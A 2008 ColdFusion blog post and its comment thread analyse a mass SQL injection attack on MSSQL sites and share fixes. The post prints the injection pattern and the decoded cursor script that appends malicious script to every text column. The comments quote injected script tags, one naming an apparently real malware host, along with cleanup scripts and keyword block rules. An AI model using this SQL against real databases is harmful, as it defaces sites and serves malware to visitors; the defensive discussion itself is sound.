ColdFusion Muse

SQL Injection Part II (Make Sure You Are Sitting Down)

Back in February I wrote a blog post on SQL Injection that included an example of how a malicious user might inject into a character field even though ColdFusion escapes single quote marks. The attack involved other forms of escaping single quotes - and was effective against MySQL. This week I stumbled upon (more like a train wreck) an attack that is much more sophisticated - and also involves injection into a character field. I am told that others have discovered and written on this attack over the last few weeks - but I was unaware of it until a customer of ours was victimized. Amazingly, the specific real world attack I discovered and fixed allowed the hacker to append a string to every char column in every table of the database. It was so pervasive it left me wondering if it was SQL injection at all - until I found a URL entry that looked something like this:



someID=129;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x44... 
%20AS%20CHAR(4000));EXEC(@S);


Note: in the spot above where it says "CAST(0x44..." I have left out a lengthy string of numbers.

First let me say that this code is ineffective against anyone using cfqueryparam. It is also ineffective against a simple "VAL( )" function in this case (since the user input was numeric - val() would have taken only the first few characters). But in this case the whole string - everything after someID= - was passed into the cfquery. Since the input was not validated the server attempted to execute it as valid SQL. What did it do?

The first part declares a variable as character string of 4000 characters.

DECLARE @S CHAR(4000)
The second part "sets" this variable with a unique CAST statement.
SET @S = CAST(0x44...*long string of numbers* AS CHAR(4000))
The final command executes the character string as SQL
EXEC(@S)

The trick here is the 0x* syntax inside of the CAST() function. It tells SQL that the values contained are actually ASCII codes and not translated characters. CAST then translates the numbers into actual characters that are subsequently executed by the EXEC() command. This obscures the attack in the logs, but here's how to unpack it. Find the string in the logs and tease out the CAST statement. Then, using Query analyzer try the following:

DECLARE @S CHAR(4000)

SET @S=CAST(40x44***** AS CHAR(4000))

PRINT @S

Note that 44***** is that long string of numbers. This will print out the actual SQL being executed. When I did this for the attack I had just fixed I found the following code being executed - and this resulted in a moment of begrudging awe in spite of my distaste for spammers and hackers.

DECLARE @T varchar(255),@C varchar(4000)

DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id
and a.xtype='u'
and (b.xtype=99
or b.xtype=35
or b.xtype=231
or b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''Malicious javascript here'' where '+@C+' not like ''Same malicous js'')

FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor

DEALLOCATE Table_Cursor

This code creates a cursor of all the user tables in the database and all the character columns within those tables. Then it appends a string to each of the columns. In this case the string was a link back to a web site, but it could have been much worse. As Guru Scott Krebs said to me, "...at least they had the decency to deallocate their cursor". In any case the result was that every single character column in the DB was infected with the malicious string. Since this was a news site it meant that every story, every title, every comment - virtually every piece of useful content on the site - had an embedded link back to the hacker's site.

The Fix

If you are using MSSQL you are vulnerable to this specific attack or any attack like it. The fix is to always use CFQUERYPARAM, validate your user input (meaning anything passed on the URL or in the Form scope) to be sure it is what it should be. Never rely on Client side validation for anything more than an enhanced user experience. Always always always write validation routines for form inputs. If any of these steps had been followed this client would not have been hacked successfully.

A note on Ajax

Recently someone asked me about form validation using Ajax. Form elements can be passed back to the server where they are checked and a result sent back to the browser which can display an error or submit the form accordingly. This can be a useful approach. For example, you can make calls to your database or session, check the user's shopping cart or CC etc. The result however is exactly like client side validation. You can enhance the user experience but you cannot secure user input using Ajax - since the form elements are still within the users control. Moreover, you are opening up an additional avenue of attack - particularly if you are touching the database in your Ajax code. Server side validation means that user input is examined on the server every time it is submitted. You cannot validate using Ajax and then not validate when the submission is made - in that way lies madness.

Comments
JC's Gravatar Wonderful. Commence brick-shitting. I'm going to have a very busy week.
# Posted By JC | 7/18/08 2:16 PM
Azadi Saryev's Gravatar doesn't this attack require multiple queries in one sql statement to be enabled to succeed?
# Posted By Azadi Saryev | 7/18/08 2:45 PM
Mark Kruger's Gravatar @Azadi,

Yes indeed it does - but I prefere to allow multiple queries in a single connection. This helps me further leverage the DB while minimizing the overall number of connections. The DB is the typically the best and most powerful server in your system. It's use should be maximized, not restricted - at least that is my take.

The point remains that this is not a configuration issue per se. It is failure to write appropriate validation code.
# Posted By Mark Kruger | 7/18/08 3:03 PM
Steve Withington's Gravatar @Mark,
Good stuff. Thought I would add to the discussion but ended up writing an article too: http://www.stephenwithington.com/blog/index.cfm/20...

Thanks for keeping the topic alive.
# Posted By Steve Withington | 7/18/08 3:10 PM
JC's Gravatar hmm. Am I reading this right?

So if I had a query like...
select cities from locations where state = '#state#'
called by /cities.cfm?state=TX

they could do this? You talk about character fields in the intro, but the example seems to be numeric.

How does this attack get around coldfusion automatically escaping single quotes before sending them to MSSQL?

If it only applies to numerics, but can effect character columns, well, that's always been the case. SQL injection can be way more than just injecting data into a column, they can even execute arbitrary code.
# Posted By JC | 7/18/08 3:16 PM
Gary F's Gravatar Great post, very valuable and I like the way you explained it in detail without making it cuttable and pastable by script kiddies. (But I'm sure the slightly clever ones will work out how to encode the evil sql).

I assume websites that only use stored procedures are not vulnerable to this attack? (cfstoredprocedure)
# Posted By Gary F | 7/18/08 3:18 PM
Mark Kruger's Gravatar @JC,

I think you are right ... In your example CF would indeed add an extra tick at the end and the hack would not succeed. It needs a point of entry like an unqualified unbound numeric value (the ubiquitous url.*something*ID".
# Posted By Mark Kruger | 7/18/08 3:24 PM
Brad Wood's Gravatar Thanks for the write-up. This really isn't so much a new way to inject SQL, as it is an incredibly lightweight-yet-broad reaching and unprecedented method of attacking the database once you have found a vulnerable place to inject the code.

For this reason, many people will deny their data source authentication access to stuff like the information_schema tables.

Once an attacker finds a query that will allow for injection, the sky really is the limit as to what SQL code they can dream up to put in there.
# Posted By Brad Wood | 7/18/08 3:24 PM
Mark Kruger's Gravatar @Gary,

IF your site was using cfstoredprocedure then you are probably not vulnerable. However, some SPs that I have seen take a string value that is subsequently executed using sp_execute - or concatenate strings into a long executable piece of SQL... in that case you are still open to attack.

It is also possible to execute stored procs using basic cfquery blocks - so obviuosly that would still leave you open.

-Mark
# Posted By Mark Kruger | 7/18/08 3:27 PM
Lu Sancea's Gravatar Nice post, I am sorry you had to deal with that crap! However, I like posts like these because it keeps me thinking of new ways my sites can be hacked. Always use cfqueryparam!
# Posted By Lu Sancea | 7/18/08 3:30 PM
JC's Gravatar ok. I'll cancel my brick shitting.
My numeric stuff is all protected, either using cfqueryparam or by using val() (sometimes we use numbers in varchar fields to accommodate legacy data...)

As for stored procedures, I'd expect they're as vulnerable to this as they are to anything else, which is to say it depends on what you're feeding them. I think Mark's earlier post covered that pretty well -- if you're doing some kind of dynamic query and you feed SQL to a stored procedure instead of simple values, you're asking for it.
# Posted By JC | 7/18/08 3:30 PM
Brad Wood's Gravatar @JC: *If* you are using MySQL, your code would in fact be vunerable. If you are using any other DBMS, you would be ok.
http://www.coldfusionmuse.com/index.cfm/2008/2/22/...
http://www.codersrevolution.com/index.cfm/2008/7/1...

@Gary: a website using cfstoredprocedure can still be vunerable to a SQL injectin attack like this IF the stored procedure being called executes dynamic SQL and doesn't use a prepared statement to bind the input parameters.
# Posted By Brad Wood | 7/18/08 3:32 PM
Dan Vega's Gravatar I got hit with this today as well. Thanks for the insight and thank god for cfqueryparam!
# Posted By Dan Vega | 7/18/08 3:38 PM
JC's Gravatar yeah, MSSQL, sorry, I was implying that. His earlier post covered the issue with MySQL.
# Posted By JC | 7/18/08 3:45 PM
Alex's Gravatar Just had this attack. Removed this annoyance by extra checks on URL length. Also just wanted to mention that in addition to the mentioned approached you should allocate permission rights on the server according to the needs of this page/section. Don't use same database user for admin and visitor sections! Don't give extra rights on tables that don't have to accessed.

Hope this help =)
# Posted By Alex | 7/21/08 10:26 AM
Dan's Gravatar I just started getting hit with this this morning. I'm wondering if I could simply test for a long querystring or match on 'Declare' in application.cfm
# Posted By Dan | 7/21/08 12:28 PM
Dan Sorensen's Gravatar Query of Query should be ok without cfqueryparam shouldn't it? (not idea, but ok?)

MySQL query is pulling data from the database using cfqueryparam but then I have a customtag that queries that query to sort filter the result for displaying.
# Posted By Dan Sorensen | 7/21/08 12:40 PM
Mark Kruger's Gravatar @Dan,

Yes it should... but I really hate this question. Why do I always hear the question about exceptions to when it's "ok" to not use CFQUERYPARAM? Why not just make it a hard and fast rule in your development to always use it?

-mk
# Posted By Mark Kruger | 7/21/08 12:47 PM
Dan Sorensen's Gravatar I'm working to refactor out that code entirely. It's in an old, old app. Not current practices. Thanks for the info.
# Posted By Dan Sorensen | 7/21/08 12:49 PM
Chris Tierney's Gravatar I have a client that just got hit with that today. I had enough safegaurds in place that they where not affected, but apparently it's going around quite quickly.
# Posted By Chris Tierney | 7/21/08 12:50 PM
Mark Kruger's Gravatar @Chris,

Yeah... I had 3 hit this blog this morning - and 2 hit my corporate site - so it's definitely making the rounds. It's so pernicious that it is going to force a good many code changes wherever it succeeds - a good thing I think :)

-mk
# Posted By Mark Kruger | 7/21/08 12:56 PM
John Mason's Gravatar Cfqueryparam or cfstoredproc will naturally prevent this, but you should also be logging these attack attempts to monitor the activity. Portcullis (portcullis.riaforge.org), a cfc filter, can do this. An even better option is to implement a web application firewall.
# Posted By John Mason | 7/21/08 1:36 PM
Scott Frazer's Gravatar This is just a morph of the asp/mssql attack that went around a couple of months ago.

If you do work in other languages, you might as well get ready for it to hit those soon as well.

http://blog.wired.com/monkeybites/2008/04/microsof...
# Posted By Scott Frazer | 7/21/08 2:26 PM
John Mason's Gravatar A slight correction on this. A stored procedure does NOT have any default protection from sql injection attacks. It really depends on how you write them out (just like any coding language). There's a fairly basic example here..

http://palisade.plynt.com/issues/2006Jun/injection...

Just want to clarify this in case people run to writing out a bunch of cfstoredprocs thinking that they can magically cure everything.
# Posted By John Mason | 7/21/08 3:44 PM
mark kruger's Gravatar @John,

Yes... good point. In my comment above I said "probably" not vulnerable. I meant, if you have created an SP where the variables passed in maintain their status as variables of a particular type and are not strung together as dynamic SQL (most SPs follow this pattern in my experience).

@Emmet,

I'm going to delete your comment and invite you to post it again - this time without the actual URL to the malicious javscript. I don't think we need to give them any more links out there than they already have :)
# Posted By mark kruger | 7/21/08 4:34 PM
Brad Wood's Gravatar @Mark: A quick note on the stored procedures bit. What you say is correct *if* you are using the cfstoredproc tag (which in turn requires cfstoredprocparam tags). I know, I know, who on earth wouldn't do that, but I have seen several coders who would call their stored procs in a cfquery tag becuase they claimed it performed better.

<cfquery datasource="foo" name="qry_hack_me">
   EXECUTE ps_invincible_proc #input1#, #input2#
</cfquery>

If you REALLY wanted to call your proc that way you could. cfqueryparam would be the obvious solution too, but I would hate for someone to think that since they were passing their data into a proc that is somehow made it any better.
# Posted By Brad Wood | 7/21/08 4:51 PM
dave's Gravatar Guys - just hit with this attack. sucks....

Rewrote their procedure to "undo" damage.



DECLARE @T varchar(255)
DECLARE @C varchar(4000)
DECLARE Table_Cursor CURSOR
   FOR
      select
         a.name,
         b.name
      from
         sysobjects a,
         syscolumns b
      where
         a.id=b.id
         and a.xtype='u'
         and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

      OPEN Table_Cursor

      FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
         BEGIN
            exec('update '+@T+' set ['+@C+']=replace(['+@C+'],''"></title><InvalidTag src="***********"></script><!--'','''')')
            FETCH NEXT FROM Table_Cursor INTO @T,@C
         END

      CLOSE Table_Cursor
      DEALLOCATE Table_Cursor
# Posted By dave | 7/21/08 5:08 PM
Gov's Gravatar Hi all,

I like to keep things simple, so here's how I plan to somehow protect my databases agains this kind of attack. I'll just put this line of code in Application.cfm or in onRequestStart method in Application.cfc :

<cfif reFindNocase("declare",cgi.query_string)><cfabort /></cfif>

I'll test this tomorrow (as it's bet time now) but I'm confident it'll work quite well I guess.
# Posted By Gov | 7/21/08 5:20 PM
Mark Kruger's Gravatar @Gov,

this will protect your site against this specific attack... but this is a reactive rather than a pro-active approach (black listing bad tags instead of whitelisting good tags). Yes it will work for THIS attack - until someone finds a way around it :)
# Posted By Mark Kruger | 7/21/08 5:30 PM
John Mason's Gravatar @ Gov..

That will only catch url attempts. It will not prevent attacks coming from form,cookie, and header variables. Portcullis (portcullis.riaforge.org) can look for these other variables scopes. Just put the 'declare' and 'cast' words in the filter.
# Posted By John Mason | 7/21/08 5:30 PM
Gov's Gravatar @all : I know, its jsut a simple start, rather than using 16k of code
# Posted By Gov | 7/21/08 5:41 PM
WebDiva's Gravatar Got hit as well. Mostly on old code or code that had been written by previous programmers. I try to always use cfqueryparam. It appears I caught it all, even if it takes a little extra time, it's well worth making sure you are using cfqueryparam. Thanks for the post!
# Posted By WebDiva | 7/21/08 6:58 PM
Daniel Drupsteen's Gravatar Great work getting this info up so quickly... really helped out. Wondering if there's any sort of hacker alert one could subscribe to so to keep up with the place on new malicious website attacks like this one?
# Posted By Daniel Drupsteen | 7/21/08 7:13 PM
Marcus's Gravatar Got hit on this today. Whole site was down as we went through all the targeted pages adding cfqueryparam code, and also the change to application.cfm just to be sure. What a pain!
# Posted By Marcus | 7/21/08 8:06 PM
Another_Hacked_Site's Gravatar Hey Mark,

Excellent article. I guess most sites were attacked today. Does anyone know of a proxy server/software that can stop those attacks via regular expressions or set of rules?

Thanks Dave for the "undo" code.
# Posted By Another_Hacked_Site | 7/21/08 9:47 PM
Gareth R's Gravatar My sites got hit today! I've never made a point of using cfqueryparam but have learnt a lot today.

I have loads of sites that have a few tables each in one big DB! So this has been a right pain for me to try and sort out! I dont know where to start so just working through adding cfqueryparam.

Am I right in thinking that once I have covered all the leaks and rolled back my DB to a pre-infected backup all will be ok? Or is there more to it!? Thx
# Posted By Gareth R | 7/21/08 11:15 PM
Mark Flewellen's Gravatar I had several attempts on sites today no damage though, I found this quite an interesting way of dealing with sql injection, essentially creating a web firewall http://www.0x000000.com/?i=567 this checks for dangerous injection it using apache mod_rewrite.
# Posted By Mark Flewellen | 7/21/08 11:44 PM
John Mason's Gravatar @Gareth..

There's plenty more to fix or at the very least to check up on. SQL injection is just one type of attack. There's also cross-site scripting (XSS), cross site request forgery, improper error handling, bad session management, weak ssl ciphers, etc. The fun never ends. Cfqueryparam helps with a couple of attack vectors. There several more for you to research.
# Posted By John Mason | 7/21/08 11:46 PM
Gareth R's Gravatar @John...

Yeah, this has definitely opened my eyes to a whole new world. Everything is black & white except for the huge grey bit in the middle!

I'm going to look into the other kinds of attacks you mention instead of taking the fire fighter role!

For now tho... I have made a few attempts to plug the holes in my code and roled back the DB, but it takes just minutes for the injection to take place again! This is really aggressive.

The following text is added into my DB...

"></title><InvalidTag src="http://*******"></script><!--

What should I do 1st to combat this pls guys?
# Posted By Gareth R | 7/21/08 11:55 PM
Daniel Drupsteen's Gravatar Hi Gareth

First thing I'd recommend is similar to someone elses post above:

if running Application.cfm:

<cfif isdefined("cgi.query_string")>
<cfif reFindNocase("declare",cgi.query_string)><cfabort /></cfif>
</cfif>

If running Application.cfc in your onRequestStart block of code

<cfif isdefined("cgi.query_string")>
<cfif reFindNocase("declare",cgi.query_string)> <cfreturn false></cfif>
</cfif>

Might pay just to test this above locally as I've just typed it straight into this page.

This should give you a breather to revert back to a previous database version have your site up and running and then implement some better security :-)
# Posted By Daniel Drupsteen | 7/22/08 12:23 AM
Gareth R's Gravatar @Daniel

Am I pushing it now asking what this code actually does??? :-S
# Posted By Gareth R | 7/22/08 12:29 AM
nic's Gravatar Thanks for all of your informations, still got some questions:
This time it got nothing to do with iis or apache?
And it's also not only MS SQL that is affected, also MYSQL?
It's not only updates and inserts, the injection via url params can be made also with selects. Don't really understand this part. Thanks for any information.
# Posted By nic | 7/22/08 2:40 AM
Damian Bürki's Gravatar hello everybody

i found this patch on the microsoft website:

"MS08-040: Description of the security update for SQL Server 2000 GDR and MSDE 2000: July 8, 2008 http://support.microsoft.com/kb/948110/en-us";

does someone know, if this patch protect the sql server of the injetcion?

thanks for your answers!
# Posted By Damian Bürki | 7/22/08 2:42 AM
Coldfusion Development's Gravatar Respect... I client has just been infected with this.. Now to start fixing all the holes for them.

Cheers, Martin
# Posted By Coldfusion Development | 7/22/08 9:38 AM
nic's Gravatar Here a hp tool, just wondering how much one can rely on that?

explanation
http://products.spidynamics.com/asclabs/sql_inject...
tool
https://download.spidynamics.com/Products/scrawlr/...
# Posted By nic | 7/22/08 9:52 AM
Josh Dutcher's Gravatar @Gareth R,

Hey numbskull, don't post a link to the malicious code.
# Posted By Josh Dutcher | 7/22/08 10:22 AM
ang's Gravatar @gareth--that's the same URL that attacked several clients of mine. I suspect that yesterday's attack was all from the same source (special circle in hell reserved for these &*&^() -- for me it was in sites that passed a numeric value in the querystring where I didn't test it. Luckily for my larger clients, I'd already seen failed attempts come through and had put validation code in place so they didn't get hit.
# Posted By ang | 7/22/08 11:42 AM
mark kruger's Gravatar @ang,

This attack uses a network of infected computers to crawl and post - so it's not coming from one source per se (although your attacks may have been).

-mark
# Posted By mark kruger | 7/22/08 11:54 AM
Gov's Gravatar That was also my conclusion, I think spyware in client's computers is doing all of this.
# Posted By Gov | 7/22/08 1:31 PM
Emmet's Gravatar @Josh Dutcher

Josh, don't call people names douchebag. That site has been disabled since yesterday morning.

I actually think the url should be posted. How else are people going to find information and get help for this particular attack?

ps. I don't really think your a douchebag. Just giving you an example of how nonconstructive your post was.
# Posted By Emmet | 7/22/08 1:47 PM
Josh Dutcher's Gravatar @Emmet,

That's okay, it made me laugh. Point taken.
# Posted By Josh Dutcher | 7/22/08 1:48 PM
Gary D.'s Gravatar I'm not sure why everything thinks that cfqueryparam will solve sql injection. Although you should definately use cfqueryparam, it is not enough.

It will often trap bad code trying to be injected with numeric code, that it doesn't help when malicious content is added to a string. Also, it is not always on the URL, it can be added to a form submit.

For example, you have a contact form that asks for FIRST_NAME, its a string of course. Bad code can be appended to the first name or just used in its place. Sometimes sql injection isn't attacking your database, sometimes is just adding some javascript that when displayed on a web page will run and then cause some problems.

What's discussed here is only part of the bigger picture. Seems nearly impossible to prevent.
# Posted By Gary D. | 7/22/08 1:57 PM
John Mason's Gravatar @Josh

Actually the hackers already know how this stuff works. That's their job so-to-speak. Trying to keep the methods somehow secret only makes these things more difficult. SPI Dynamics is a very well known security consulting company. Foundstone is another. They post these examples so people can better understand how the hacks work and know what to look for.
# Posted By John Mason | 7/22/08 1:57 PM
Emmet's Gravatar I was too lazy to repost this yesterday but here it is again.

Here's an easy undo if your database was compromised. You'll have to set the char count to 8000 in qry analyzer to get the entire output. Tools/Options/Results Tab, set maximum characters to 8000. This ignores text fields and system databases.

Just paste this in qry analyzer. It will create updates for all your columns. Copy the results into another window and run.

SELECT 'UPDATE [' + table_name + ']
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''"></title><InvalidTag src="http://domain.com/hack.js"></script>...;!--'', '''')
WHERE ' + column_name + ' LIKE ''%"></title><InvalidTag src="http://domain.com/hack.js"></script>...;!--%'''
FROM information_schema.columns where (character_maximum_length is not NULL) AND ([table_name] not like 'dt%') AND ([table_name] not like 'sys%')
# Posted By Emmet | 7/22/08 2:08 PM
Coldfusion Development's Gravatar If you fancy a little workaround in case you haven't managed to fix all the holes in vulnerable code yet, simply create this OnRequestEnd.cfm file (or in the OnRequestEnd function in Application.cfc if you're using that).. It will simply remove the Chinese crap from the ColdFusion generated page so web pages don't appear broken. My client (inherited) has some badly written code (inherited) that is vulnerable so I'm using this as a temporary measure.

Martin

<cfset pageContent = getPageContext().getOut().getString()>
<cfset pageContent = replacenocase(pageContent, "#chr(34)#></title><InvalidTag src=#chr(34)#http://1.verynx.cn/w.js#chr(34)#></script><!--", "", "All")>
<cfcontent reset="yes" type="text/html">
<cfoutput>#pageContent#</cfoutput><cfabort>
# Posted By Coldfusion Development | 7/22/08 3:25 PM
ShloimeH's Gravatar Hi,

I was attacked via this method. Although I did not use cfqueryparam I did have the following code to stop such attacks:

<cftry>
   <cfparam name="ThisGroup" type="integer">
   <cfcatch type="Any">
      <cflocation url="MyHomePage" addtoken="No">
   </cfcatch>
</cftry>

I would appreciate if you can tell me how they got by.

Thanks,
ShloimeH
# Posted By ShloimeH | 7/22/08 3:56 PM
Brad Wood's Gravatar @ShloimeH: How did that code work out for you? :)

I'm guessing the hackers exploited another variable. Surely your entire site uses more than a single variable.
I would recommend downloading the QueryParam Scanner from RiaForge and adding cfqueryparam to all the cfqueries in your entire site now.

You may be able to get more information about what page the hackers used by examining your web server logs.

@Gary: what you describe is not SQL injection. It is Cross Site Scripting or XSS. It is solved by properly escaping strings when outputting them based on the medium they are being imbedded in. (HTML, JS) You are correct though that cfqueryparam does not make you entirely immune. I blogged about that here:
http://www.codersrevolution.com/index.cfm/2008/7/2...

@Damian: I doubt any patch from Microsoft will protect your database from SQL injection. Good programming practices protect your database. The problem with SQL injection is that your DBMS DOESN'T KNOW the good stuff from the malicious stuff. That's why it is your job as a programmer to tell the database what is SQL and what is data. Parameterized queries do just that.

@Gareth: Apparently you were pushing it to ask. :) The code that was posted by Daniel simply searches the url variables (name, and values) coming into the page for the word "declare" and aborts page processing if it finds it. That sort of code should only be considered a temporary stop gap though. It will NOT stop many attacks, and will probably block legitimate page requests as well since "declare" is an English word that could appear a number of places. That check also wouldn't search form variables.

If anyone is interested, I blogged my experiences using the queryparam scanner from RiaForge here:
http://www.codersrevolution.com/index.cfm/2008/7/2...
# Posted By Brad Wood | 7/22/08 4:59 PM
Gareth R's Gravatar At this point.... can I just ask if there is anyone that has been affected by this particular strain of SQL injection, that has actually found a solid fix!?!?

There have been many great points and much good advice... I have learnt so much from this, but it still stands that I havent been able to prevent this from happening to my DB!

The g*ts that came up with this must be really pleased with themselves!
# Posted By Gareth R | 7/22/08 5:08 PM
Gary F's Gravatar Surely a fix to this clever but nasty attack and the issue of how to protect your site from a string input is to put limits on the length of the string you're willing to process?

e.g. near the top of a form processing page...
<cfset form.email = left(form.email,100)>
<cfset form.firstname = left(form.firstname,40)>

The attack uses a very long string (does anyone know how many chars?) so immediately cutting the data returned from the user down to a reasonable limit will prevent this attack from working?
# Posted By Gary F | 7/22/08 6:55 PM
Dan Sorensen's Gravatar I believe it would be better to just use cfqueryparam with SQL type and maxlength (matching the database types if possible)

<cfqueryparam cfsqltype="cf_sql_varchar" maxlength="100" value="#form.email#">

<cfqueryparam cfsqltype="cf_sql_varchar" maxlength="40" value="#form.firstname#">

I've been doing this as recommended and I haven't had any trouble this week. (Although I've been getting a TON of form validation errors in my logs. ;-)
# Posted By Dan Sorensen | 7/22/08 7:07 PM
Gary F's Gravatar @Dan, depends if you want your app to throw an error if a string is longer than expected, or if you want to run with an abbreviated string without slamming on the brakes.
# Posted By Gary F | 7/22/08 7:30 PM
Bill Jones's Gravatar My Application.cfm GET/POST filter:
The post portion is untested. the GET is validated against actual vulgar requests from the logfile.
Catches 2+ occurrances of any black list item defined in mystring. for this - it is a list of most possible sql command words
(This one is a bit better than the one I posted in the other thread)

<!--- START filter for SQL Injection Attack --->
   <cfset SQL_CMDs = ArrayNew(1)>
   <cfset LoopHitCount=0>
   <cfset mystring="declare,set,exec,select,grant,delete,insert,drop,alter,replace,truncate,update,create,rename,describe,from,into,table,view,union,cast,char">
   <cfset SQL_CMDs=mystring.Split(",")>
   <cfset CheckVal = cgi.QUERY_STRING>
   <cfloop index="CMD_Loop" from="1" to="#ArrayLen(SQL_CMDs)#">
      <cfset paramname= SQL_CMDs[#CMD_Loop#]>
      <!--- START filter for SQL Injection Attack via GET Variables--->
      <CFSET st = FindNoCase(paramname,CheckVal,1)>
      <cfif st gt 0 >
         <cfoutput>Suspect GET Value: #paramname#<br /> </cfoutput>
         <cfset LoopHitCount = LoopHitCount + 1>
      </cfif>
      <!--- END filter for SQL Injection Attack via GET Variables--->
      
      <!--- START filter for SQL Injection Attack via POST Variables--->
      <cfif isdefined("form.fieldnames")>
         <cfloop list="#form.fieldnames#" index="z">
         <CFSET st = FindNoCase(paramname,evaluate(z),1)>
         <cfif st gt 0 >
            <cfoutput>Suspect POST Value: #paramname#<br /> </cfoutput>
            <cfset LoopHitCount = LoopHitCount + 1>
         </cfif>
         </cfloop>
      </cfif>
      <!--- END filter for SQL Injection Attack via POST Variables--->
   </cfloop>
   <cfoutput>
   <cfif LoopHitCount gt 2>
         This request is being blocked due to suspected Unauthorized Access.<br />#CheckVal#
         <cfabort>
   </cfif>
   </cfoutput>   
<!--- END filter for SQL Injection Attack --->
# Posted By Bill Jones | 7/23/08 3:33 PM
Coldfusion Development's Gravatar A follow up... My own server started getting hit yesterday which arsed me off... I have a follow up to my previous fix above which I had to change as it doesn't always look to the same server for the .JS file... And also some code to put into onRequest to look for maliciousness in the url and throw a 403 - access denied if found.

1 - Update to previous post (onRequestEnd) now using regexp

<cfset pageContent = getPageContext().getOut().getString()>
<cfset pageContent = rereplacenocase(pageContent, "(\#chr(34)#\>\<\/title\>\<InvalidTag src=\#chr(34)#http:\/\/)(.*?)(.verynx.cn/w.js\#chr(34)#\>\<\/script\>\<!--)", "", "All")>
<cfcontent reset="yes" type="text/html">
<cfoutput>#pageContent#</cfoutput><cfabort>

2 - Code to go in onRequest to throw a 403

<cfif findNocase("DECLARE%20@S%20CHAR(4000);", cgi.query_string)>
   <cfcontent reset="Yes">
   <cfheader statuscode="403" statustext="Access denied">
   <cfabort>
</cfif>
# Posted By Coldfusion Development | 7/24/08 4:05 AM
Bill Jones's Gravatar You can't try to specify the domain that is indicated in your attack, there are at lease 100 reported different host names and script names (w.js,k.js,ngg.js, etc...) that are variants of this attack.
# Posted By Bill Jones | 7/24/08 9:09 AM
Joe Holst's Gravatar I agree 100%, cfqueryparams all the way.

A quick and dirty solution to put in place while you're scrambling to add cfqueryparams may be an ISAPI_Rewrite. Check out the following:

RewriteRule .*DECLARE.* http\://yoursite.com/error.html [I,R]

Great article thanks for covering it with such detail.
# Posted By Joe Holst | 7/24/08 5:52 PM
Gareth R's Gravatar ISAPI_rewrite is not available on the servers I am using.

Does anyone have any other ways of preventing the Declare function from operating?

I have tried adding the following to appication.cfm on all of my sites and have cfqueryparamed everything I can see...

<cfif isdefined("cgi.query_string")>
<cfif reFindNocase("declare",cgi.query_string)><cfabort /></cfif>
</cfif>

But that did not seem to work. I have heared that cacheing is taking place so making changes at this stage will not help?
# Posted By Gareth R | 7/26/08 11:15 AM
David Neale's Gravatar Joe would;

RewriteRule .*DECLARE.* http\://yoursite.com/error.html [I,R]

also take care of cookie and form input?
# Posted By David Neale | 7/29/08 6:13 PM
Mark's Gravatar RewriteCond %{QUERY_STRING} ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]



RewriteRule ^(.*)$ http\://yoursite.com/error.cfm
# Posted By Mark | 7/30/08 5:13 AM
Jeff Bouley's Gravatar I'm a big fan of procs to thwart this.

But if you are using inline sql and procs are not an option; this will help you lock out the hackers by diagnosing where you're missing cfqueryparam... http://qpscanner.riaforge.org/
# Posted By Jeff Bouley | 8/1/08 9:09 AM
Joe's Gravatar David Neale No I don't believe so, only the URL
# Posted By Joe | 8/6/08 3:05 AM
Ian  Bridges's Gravatar Our site has a large base of legacy code from long-gone developers. We have ben attacked a lot in the last 2 weeks, thought it was pinned down - went a week with no successful attack, but its back again. Can anyone confirm that the attackers can used cached pages to get around fixes? If so, any ideas how to block this?
# Posted By Ian Bridges | 8/7/08 5:49 PM
Brad Wood's Gravatar What do you mean by cached pages? If you mean Google cache, then no. Google does not cache your CFML, only the outward facing HTML so hitting a page cached by Google would do absolutley nothing providing the page now submitted to a processing page which used paramaterized queries.

If you are referrring to ColdFusion's cache, then perhaps IF you are using trusted cache AND haven't cleared your template cache OR restarted CF since you modified your code-base.

Chances are, you have a vulnerable page on your site somewhere still. Have you use a scanner tool to check your entire code base for you to see if you missed anything?
# Posted By Brad Wood | 8/7/08 5:54 PM
RB's Gravatar Does anyone have a regular expression for searching your entire site code for vulnerable CFQUERY tags?

It would look for any pound sign (#) inside cfquery tags but not inside a cfqueryparam tag.
# Posted By RB | 8/8/08 10:08 AM
Jeff Bouley's Gravatar My blog is getting hammered by this (thank to Ray Camden's use of cfqueryparam, not impacted).

Best approach add a filter to your App.cfc onRequestStart or App.cfm. As far as I can tell the remote address is continually changing...

example to look for the exec in the url:
took off brackets due to hack attempt errors

cfif listFind(cgi.SCRIPT_NAME,'execorsomethinginthemalitiousurl',';') gt 0
   cfoutputYOU SUCK!cfoutput
   cfabort
cfif
# Posted By Jeff Bouley | 8/8/08 11:01 AM
Jeff Bouley's Gravatar Quick follow up.

Best to use cgi.query_string to eval the url instead of script_name.
# Posted By Jeff Bouley | 8/8/08 11:48 AM
Jeff Schneider's Gravatar I had been getting some injection attempts just like the ones explained in the blog (thanks).

Now I just got a new one, in a one minute time span from 4 different IP addresses all over the world (Asia, Australia)

Here it is

http://www.terrapinstats.com/bb/profile.cfm?player...

"playerid" & "addType" are hidden form fields

"remarks" & "username" are text form fields

The error was invalid data on the playerid (I have cfqueryparam'd for integer.. the bot put in a ? and other stuff)

My host has scriptprotection turned on as well

Just very curious as to what they're trying here.
# Posted By Jeff Schneider | 9/12/08 4:12 PM
Jeff Schneider's Gravatar Let me try again.. Here's the content of the url

terrapinstats.com/bb/addcontent.cfm?playerid=307&remarks=hgurw+klxmhowvd+ksnwt+sivq+xkjgnfd+ndthz+rtzb&username=fwskyhbz+ogwrqjcd&addType=playerComment
# Posted By Jeff Schneider | 9/12/08 4:13 PM
Andrew's Gravatar I've been using my own scripts using SQL. There've been hacked. What da...! I think it's better to use free scripts (all opersource code) and thanks to such people as Mark Kruger we have a nice future ;)

http://www.tennisgear.ws/
# Posted By Andrew | 10/17/08 2:31 PM
